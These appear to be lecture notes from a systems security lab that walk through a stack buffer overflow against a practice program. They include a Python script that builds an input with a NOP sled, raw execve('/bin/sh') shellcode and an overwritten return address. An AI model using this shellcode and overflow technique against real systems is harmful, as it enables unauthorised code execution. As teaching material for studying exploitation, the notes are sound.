L22: Continuation of System's lab
In this class, we will pick up where we left off in L21. Specifically,
we will begin using gdb
to inspect how programs execute, and how to
view their memory and stack during program execution.
-
Lets use
gdb
to set breakpoints, disassemble code, run a program on input, inspect the stack pointer, the instruction pointer, and the stack data structure. Here is a screencast of the basic steps: -
Lets create a basic python program that produces an input file for our
p1
program. This program will later help us generate an exploit input.#!/usr/bin/env python3 from struct import * buf = b'A'*16 buf += b'B'*16 f = open("in.txt", "wb") f.write(buf)
-
Lets run our program on this input using
gdb
. The goal of this step is to determine how to change ourin.py
program so that we can overwrite the return address. Note, the input used in the screen capture is slightly different from the input generated by the program listed above. -
Lets look at how to write shellcode. We will start with the
basic_shell.c
program to learn how to open a shell.#include<unistd.h> void main() { char* s[] = {"/bin/sh",0}; execv(s[0],s); }
However, this shell code has a few problems that make it harder to use for exploits. You can compile to an object file to inspect the assembly as follows:
$ gcc -c basic_shell.c $ objdump -d bash_shell.o
- Lets debug a more sophisticated shellcode that comes from pros. You can compile this shellcode and then use gdb to step through it to see how it works.
-
Lets place the shellcode in the input file. Modify the
in.py
program to write the\x90
byte a few times (this is the NOP sled since 90 corresponsd to the NOP instruction), and then writes the shellcode, and then writes the address of the buf pointer as the return address from the function. Thus, when the functionbroken
returns, it should start executing our shell code.#!/usr/bin/env python3 from struct import * buf = b'\x90'*16 buf += b'\x6a\x42\x58\xfe\xc4\x48\x99\x52\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5e\x49\x89\xd0\x49\x89\xd2\x0f\x05' buf += b'A'*35 buf += b'B'*16 buf += b'\x60\xe4\xff\xff\xff\x7f\x00\x00' # address to jump to buf += b'\xb0\xe4\xff\xff\xff\x7f\x00\x00' # these are two commands to run buf += b'echo "pwned"; whoami ' f = open("in2.txt", "wb") f.write(buf)
Notice that we added the commands echo "pwned"; whoami
to the end of the buffer. As a result, when the shell sh
begins, it will read from the same stdin
buffer and execute these commands.
- Notice that
gdb p1
andp1
create slightly different outputs. This is because a program also has an “environment” available to it when it is running. This env is setup by the shell. You can inspect it withexport
. We would like to begin the two programs using the same environments. We can do this using theenv -
command as shown below:
Note that in the above example, the
address of buf is the same 0x7fffffffece0
from both p1
and gdb p1
.
This technique can help you when you are creating a new buffer exploit.
- Alltogether, we can now execute a buffer overflow attack on the
p1
program. Note that thep1
program usesread
to read its input. In other cases, the input could be read usingfgets
orstrcpy
from the command line argument. The attack may be slightly different in those cases.